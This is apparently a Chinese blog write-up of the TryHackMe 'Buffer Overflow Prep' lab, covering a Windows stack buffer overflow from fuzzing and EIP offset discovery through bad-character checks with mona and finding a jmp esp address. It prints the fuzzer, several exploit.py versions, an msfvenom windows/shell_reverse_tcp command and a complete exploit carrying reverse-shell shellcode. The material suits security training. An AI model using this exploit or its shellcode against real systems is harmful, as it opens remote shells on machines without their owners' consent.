首页 > 其他分享 >tryhackme-Buffer Overflow Prep(缓冲区溢出准备)

tryhackme-Buffer Overflow Prep(缓冲区溢出准备)

时间:2024-07-12 18:44:24浏览次数:8  
标签:字符 socket Buffer padding buffer prefix print Overflow Prep

前景概述
最开始接触二进制方式是因为参加比赛缺少一个pwn手,慢慢的学习在二进制方面懂了很多,学习了CC++、基本的汇编语法、pwndbg、ollydbg等调试工具,以及在做pwn题目是相关的工具pwntools,学习了栈相关的基本知识,栈溢出相关的一些姿势,例如:ret2text、ret2plt、ret2shellcode、ret2syscall、ret2libc,虽然还不能做到信手拈来,但是基本的已经入门,做了这么长的铺垫,我觉得时候来征服之前让我卡壳的本房间。

前置知识

该房间一共十个关卡,每个关卡的方法是一样的,可能是想锻炼我们的熟练度。
该房间会使用二进制调式运行工具:

  • Immunity Debugger:该工具我也是第一次使用,和大部分的调试工具类似,汇编代码窗口,寄存器窗口...
  • msf-pattern_create:和cyclic工具类似,msf自带,_create主要用于生成
  • msf-pattern_offset: 和cyclic工具类似,_offset主要查找字符串的偏移
  • Mona : 是Immunity Debugger的一个插件,这个插件会让做缓冲区溢出调试变得很方便,有很多便捷的功能

实验操作

首先使用remmina或着其他远程连接工具rdesktop、xfreerdp连接,需要注意的是,在连接时需要将认证方式设置为rdp

连接后右键桌面的应用程序Immunity Debugger,接着Rs As administrator以管理员身份运行

接着点击左上角file -> open打开本次实验使用的oscp文件,文件位于C:\Users\admin\Desktop\vulnerable-apps\oscp\
进入后左下角会是pause暂停状态,点击菜单栏的运行三角图标即可运行该程序

点击后右下角程序状态会是Running状态,此时可以使用nc target_ip 1337连接程序提供的服务

要点
该程序一共有10关,每一关的逻辑结构都是类似的,如想要利用指定的关卡,例如关卡1,就是OVERFLOW1 test这种的输入,在test的这个字节存在栈溢出漏洞

接着为我们提供了两个脚本,一个名称叫做fuzzer.py,一个叫做exploit.py,这和我平时利用pwntools写的脚本是类似的,不过使用的原始的socket来接受和发送
代码分别如下:

#!/usr/bin/env python3

import socket, time, sys

ip = "10.10.20.146"

port = 1337
timeout = 5
prefix = "OVERFLOW1 "

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)
import socket

ip = "10.10.20.146"
port = 1337

prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

通过学习,在Windows中测试栈溢出漏洞并利用需要以下过程:

  1. 查找栈溢出偏移字符长度
  2. 覆盖ebp返回地址,从而控制eip
  3. 查找坏字符(在程序中不可用的字符)
  4. 找到jmp esp指令的内存地址
  5. 生成shellcode
  6. 漏洞利用

具体步骤如下

1.模糊测试栈空间可容纳字符长度

首先使用fuzzer.py来探测目标可传入最大字符范围,这是一个大概的范围
注意,在我们每次运行脚本之前,都需要将程序再次运行(因为上次运行的错误会让脚本崩溃)

#!/usr/bin/env python3

import socket, time, sys

ip = "10.10.97.192"

port = 1337
timeout = 10      # 由于网络延迟,我将timeout设置为10
prefix = "OVERFLOW1 "

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)

运行

脚本在长度为2000字符是完成了,来到调试窗口查看程序状态

可以看到eip已经被我们覆盖了,这时得到一个大概的范围是2000,但是不知道具体哪一个字符出现了错误。

2.确定最大容纳字符串数量

使用msf-pattern_create -l 2000生成2000个字符,将生成的字符复制到exploit.pyretn padding payload postfix任意变量中,重新调试程序,运行exploit.py脚本

import socket

ip = "10.10.20.146"
port = 1337

prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

运行

去调试窗口查看

eip的值复制,使用msf-pattern_offset查看该字符的偏移为1978

可以看出只要填充了1978个字符,程序就溢出了,在往下覆盖就是ebp的地址,由于栈在返回时会将ebp的值弹出给eip,从而可以控制程序的执行流程

接着我们尝试手动修改eip的值,将1978值填到exploit.py脚本中的offset变量中,将上次生成的2000个垃圾字符删除,将retn的值修改为BBBB
BBBB字符的ascii值为42,如果eip的值为42424242,就代表我们成功利用,脚本如下

import socket

ip = "10.10.20.146"
port = 1337

prefix = "OVERFLOW1 "
offset = 1978
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

重启程序,运行脚本

查找程序调试状态

eip寄存器的值已经被我们控制,已经验证栈溢出漏洞的存在,接着我们的目的是命令执行,反弹shell等操作,这时就出现一个问题,有些字符在程序中是不可以使用的,为了避免问题,我们需要将这些坏字符提取出来,在生成shellcode的时候避免含有这些字符,最常见的每个程序都不会将\x00执行,这就是一个坏字符

3.查找坏字符

给我提供了两种方法获取所有的坏字符,一种是python脚本,代码如下:

for x in range(1, 256):
  print("\\x" + "{:02x}".format(x), end='')
print()

一种是monamona在使用的时候需要设置工作目录,就是日志生成的位置,如果不设置默认会生成到Immunity Debugger默认安装目录,命令要给我们了

!mona config -set workingfolder c:\mona\%p

接着就是生成所有坏字符

!mona bytearray -b "\x00"


可以看到文件生成位置

将内容复制到padding,接着重启程序,运行脚本

现在注意esp的值

使用esp的值为基准查找坏字符

!mona compare -f C:\mona\oscp\bytearray.bin -a 018FFA30

通过结果可以看出,大概07 08 2e 2f a0 a1这些字符是坏字符,但是并不一定每个字符都是坏字符,只是大概是这几个,获得准确的坏字符,我们需要将一次一次的尝试,具体尝试的流程如下:

  • 首先在padding中删除\x07这个字符,运行脚本后接着查看有哪些坏字符,直到所有的坏字符都是你确定的

最后得到结果,我这里的坏字符为\x00\x07\x2e\xa0,并不是07是坏字符08就不是,这里的情况是例外,这需要通过测试得到结果。

4.通过坏字符查找jmp esp指令

jmp esp可以让我们成功劫持程序执行我们插入的代码,接着使用mona查找jmp esp
-cpb指定坏字符

!mona jmp -r esp -cpb "\x00\x07\x2e\xa0"


如果你和我一样是黑屏不用着急,只是窗口在下方,最小化即可

也保存到工作目录C:\mona

将第一个jmp esp复制到retn中,这里任意一个都可以,并不非要是第一个
不过需要注意的是需要设置为小端排序
例如:

retn = "\xaf\x11\x50\x62"	# 0x625011af

5.生成shellcode

生成shellcode的指令也给我们了,如下:

msfvenom -p windows/shell_reverse_tcp LHOST=10.9.213.189 LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f c

需要注意:-b指定坏字符
将生成的\x数据复制到payload

按照理想正常情况下,shellcode就可以执行了,但是实际运行是不可以的,为了shellcode的稳定运行,这里填充一些没用的nops指令\x90
padding的值修改\x90 * 16

padding = "\x90" * 16

6.漏洞利用

修改完成最后的代码

import socket

ip = "10.10.20.146"
port = 1337

prefix = "OVERFLOW1 "
offset = 1978
overflow = "A" * offset
retn = "\xaf\x11\x50\x62"	# 0x625011af
padding = "\x90" * 16
payload = ("\xfc\xbb\x55\x7e\x78\xbf\xeb\x0c\x5e\x56\x31\x1e\xad\x01"
"\xc3\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\xa9\x96\xfa"
"\xbf\x51\x67\x9b\x36\xb4\x56\x9b\x2d\xbd\xc9\x2b\x25\x93"
"\xe5\xc0\x6b\x07\x7d\xa4\xa3\x28\x36\x03\x92\x07\xc7\x38"
"\xe6\x06\x4b\x43\x3b\xe8\x72\x8c\x4e\xe9\xb3\xf1\xa3\xbb"
"\x6c\x7d\x11\x2b\x18\xcb\xaa\xc0\x52\xdd\xaa\x35\x22\xdc"
"\x9b\xe8\x38\x87\x3b\x0b\xec\xb3\x75\x13\xf1\xfe\xcc\xa8"
"\xc1\x75\xcf\x78\x18\x75\x7c\x45\x94\x84\x7c\x82\x13\x77"
"\x0b\xfa\x67\x0a\x0c\x39\x15\xd0\x99\xd9\xbd\x93\x3a\x05"
"\x3f\x77\xdc\xce\x33\x3c\xaa\x88\x57\xc3\x7f\xa3\x6c\x48"
"\x7e\x63\xe5\x0a\xa5\xa7\xad\xc9\xc4\xfe\x0b\xbf\xf9\xe0"
"\xf3\x60\x5c\x6b\x19\x74\xed\x36\x76\xb9\xdc\xc8\x86\xd5"
"\x57\xbb\xb4\x7a\xcc\x53\xf5\xf3\xca\xa4\xfa\x29\xaa\x3a"
"\x05\xd2\xcb\x13\xc2\x86\x9b\x0b\xe3\xa6\x77\xcb\x0c\x73"
"\xd7\x9b\xa2\x2c\x98\x4b\x03\x9d\x70\x81\x8c\xc2\x61\xaa"
"\x46\x6b\x0b\x51\x01\x9e\xc5\x8c\x6c\xf6\xd7\x2e\x9e\x5b"
"\x51\xc8\xca\x73\x37\x43\x63\xed\x12\x1f\x12\xf2\x88\x5a"
"\x14\x78\x3f\x9b\xdb\x89\x4a\x8f\x8c\x79\x01\xed\x1b\x85"
"\xbf\x99\xc0\x14\x24\x59\x8e\x04\xf3\x0e\xc7\xfb\x0a\xda"
"\xf5\xa2\xa4\xf8\x07\x32\x8e\xb8\xd3\x87\x11\x41\x91\xbc"
"\x35\x51\x6f\x3c\x72\x05\x3f\x6b\x2c\xf3\xf9\xc5\x9e\xad"
"\x53\xb9\x48\x39\x25\xf1\x4a\x3f\x2a\xdc\x3c\xdf\x9b\x89"
"\x78\xe0\x14\x5e\x8d\x99\x48\xfe\x72\x70\xc9\x1e\x91\x50"
"\x24\xb7\x0c\x31\x85\xda\xae\xec\xca\xe2\x2c\x04\xb3\x10"
"\x2c\x6d\xb6\x5d\xea\x9e\xca\xce\x9f\xa0\x79\xee\xb5\xa0"
"\x7d\x10\x36")
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

通过buffer可以看出

buffer = prefix + overflow + retn + padding + payload + postfix

程序会先发送OVERFLOW1 + 1978A字符,导致栈溢出,然后retn的地址被我们修改为jmp esp,在栈结束程序会跳转到padding为填充的nops操作,一直执行nops操作后接着执行payload,payload中的shellcode代码的作用是反弹shell

所以首先在本地监听4444端口等待靶机上线

然后重启程序,执行漏洞利用脚本

成功反弹shell

后续的关卡都类似,实验结束。

小结:学习二进制让我懂得了很多计算机底层的原理,虽然进步慢,但这好像就是我喜欢的、最初见到的、那种真正的"黑客"。

标签:字符,socket,Buffer,padding,buffer,prefix,print,Overflow,Prep
From: https://www.cnblogs.com/Junglezt/p/18298816

相关文章

  • [Mysql]Buffer Pool
    MySQL的数据都是存在磁盘中的,那么我们要更新一条记录的时候,得先要从磁盘读取该记录,然后在内存中修改这条记录。那修改完这条记录是选择直接写回到磁盘,还是选择缓存起来呢?当然是缓存起来好,这样下次有查询语句命中了这条记录,直接读取缓存中的记录,就不需要从磁盘获取数据了。为此,I......
  • cocos Buffer的问题
    结果问题:Nodejs直接用Buffer就可以了,但是cocos这边,不能直接用根据大大的方式:报没有默认导出,改了一下声明文件报这个错误:估计b没被正确解析又改了一下:然后还是有问题:打断点看看:变成了一个包含Buffer的对象,我需要的是Buffer就很奇怪:好像声明文件里的就是B......
  • 【libevent】bufferevent的并发访问问题
    一、问题在使用libevent实现websocket服务器时,发生了并发访问的问题。服务器程序功能主要包括实时响应Websocket客户端的控制请求,同时发送温度到客户端。现象:不加上温度发送功能时,程序正常运行加上温度发送功能后,就会出现段错误,而且检查后发现bufferevent并不为空二、原因......
  • 设置DepthBufferBits和设置DepthStencilFormat的区别
    1)设置DepthBufferBits和设置DepthStencilFormat的区别2)Unity打包exe后,游戏内拉不起Steam的内购3)Unity2022以上Profiler.FlushMemoryCounters耗时要怎么关掉4)用GoodSky资产包如何实现昼夜播发不同音乐功能这是第394篇UWA技术知识分享的推送,精选了UWA社区的热门话题,涵盖了UWA问答......
  • Arrays,Object,String,StringBuffer和常用工具类汇总
    Arrays[数组操作方法:排序,查找,替换,转换,复制]排序将数组升序排序:Arrays.sort(数组);查找数组中想查找的数字的索引:Arrays.binarysearch(数组,想查找的数字(例如3));替换将数组中的元素全部用x替换:Arrays.fill(数组,x);Arrays.fill(数组,下标y,下标z,x);//y-z下标的元素替换为x......
  • JAVA 中的 StringBuilder 和 StringBuffer 适用的场景是什么?
    转自菜鸟教程的一位大哥-------未之奋豆未之奋豆429***[email protected]参考地址6年前(2018-05-07)JAVA中的StringBuilder和StringBuffer适用的场景是什么?最简单的回答是,stringbuffer基本没有适用场景,你应该在所有的情况下选择使用stringbuiler,除非你真的遇到了一个需要线......
  • StackOverflowError堆栈溢出错误
    代码packagecom.yixie.core.log;publicclassSafeLoggerFactory{publicstaticSafeLoggergetLogger(Stringname){returnnewSafeLogger(com.yixie.core.log.SafeLoggerFactory.getLogger(name));}}错误:Instantiationofbeanfailed;nested......
  • springboot项目国产化适配,jar改war包碰到的坑-tomcat版本要适配(非法访问:此Web应用程序
    项目原来是jar包运行,国产化适配要改成war包。可以参考https://blog.csdn.net/NAMELZX/article/details/138123405或者其他jar 改成 war 的文章。改成war后,在本地tomcat8上运行,一直报org.apache.catalina.loader.WebappClassLoaderBase.checkStateForResourceLoading非法......
  • 【Tableau系列第(6)篇】使用Tableau Prep进行数据清理、整合(一)
    使用TableauPrep的整体过程详见:【Tableau系列第(5)篇】用TableauPrep整理数据全流程初体验本篇一步一步跟我一起来熟悉更多的TableauPrep数据清理、整合的操作。示例excel数据源链接:https://pan.baidu.com/s/17nx3_LPe30oK1l1JsC6Kdw?pwd=AQWF提取码:AQWF合并多个表(比......
  • 详谈JavaScript 二进制家族:Blob、File、FileReader、ArrayBuffer、Base64
    详谈JavaScript二进制家族:Blob、File、FileReader、ArrayBuffer、Base64:https://blog.csdn.net/weixin_43025151/article/details/129743443?ops_request_misc=&request_id=&biz_id=102&utm_term=JavaScript%E4%B8%AD%E7%9A%84Blob%E4%BD%A0%E7%9F%A5%E9%81%93%E5%A4%9A%E......